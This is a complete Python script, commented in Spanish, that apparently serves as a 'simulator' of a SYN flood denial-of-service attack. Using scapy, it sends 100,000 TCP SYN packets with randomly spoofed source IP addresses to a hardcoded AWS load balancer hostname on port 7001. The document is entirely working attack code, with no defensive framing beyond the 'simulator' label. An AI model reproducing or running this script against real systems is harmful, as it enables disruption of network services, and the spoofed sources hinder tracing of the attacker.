#!/usr/bin/env python3
"""
syn_flood_simulator.py

Script para simular un ataque SYN flood a un puerto TCP,
basado en la estructura del script de envío de reportes.
"""

import sys
import time
import random  # Necesario para generar IPs de origen aleatorias
from scapy.all import IP, TCP, send # Librerías para crear y enviar paquetes

# ---- Parámetros del simulador ----
TARGET_HOST = 'nlb-recepcion-tcp-98af84506c9b42a6.elb.us-east-1.amazonaws.com'
#TARGET_HOST = '127.0.0.1'
TARGET_PORT = 7001
NUM_PACKETS = 100000  # Número de paquetes SYN a enviar

def generate_spoofed_ip():
    """Genera una dirección IP de origen aleatoria para el ataque."""
    return ".".join(map(str, (random.randint(0, 255) for _ in range(4))))

def syn_flood_attack(target_ip, target_port, num_packets):
    """
    Simula un ataque SYN flood.
    
    Este ataque envía paquetes TCP con el flag SYN activado. El módulo objetivo
    responderá con un SYN-ACK, pero el script no lo manejará, dejando la
    conexión en estado "half-open" (medio abierta), saturando la tabla de
    conexiones del módulo.
    """
    print(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] Iniciando ataque SYN flood a {target_ip}:{target_port} con {num_packets} paquetes...")
    
    try:
        # Se envían los paquetes SYN en un bucle
        for i in range(num_packets):
            # Crea un paquete IP con una IP de origen aleatoria
            source_ip = generate_spoofed_ip()
            
            # Crea un paquete TCP con el flag SYN
            packet = IP(src=source_ip, dst=target_ip) / TCP(dport=target_port, flags="S")

            # Envía el paquete. 'verbose=0' evita imprimir detalles por cada envío.
            send(packet, verbose=0)
            
            # Muestra el progreso cada 1000 paquetes
            if (i + 1) % 1000 == 0:
                print(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] Enviado {i + 1}/{num_packets} paquetes.")
    
        print(f"\n[{time.strftime('%Y-%m-%d %H:%M:%S')}] Ataque SYN flood finalizado.")
    
    except Exception as e:
        print(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] [ERROR] Ocurrió un error: {e}", file=sys.stderr)

def main():
    """Función principal para manejar la ejecución del script."""
    print("Iniciando simulador de ataque SYN flood.")
    
    # Se utiliza una estructura try-except para manejar interrupciones con Ctrl+C
    try:
        syn_flood_attack(TARGET_HOST, TARGET_PORT, NUM_PACKETS)
        print("\nProceso completado. Saliendo...")
        sys.exit(0)
    except KeyboardInterrupt:
        print("\nProceso interrumpido por el usuario. Saliendo...")
        sys.exit(0)

if __name__ == "__main__":
    main()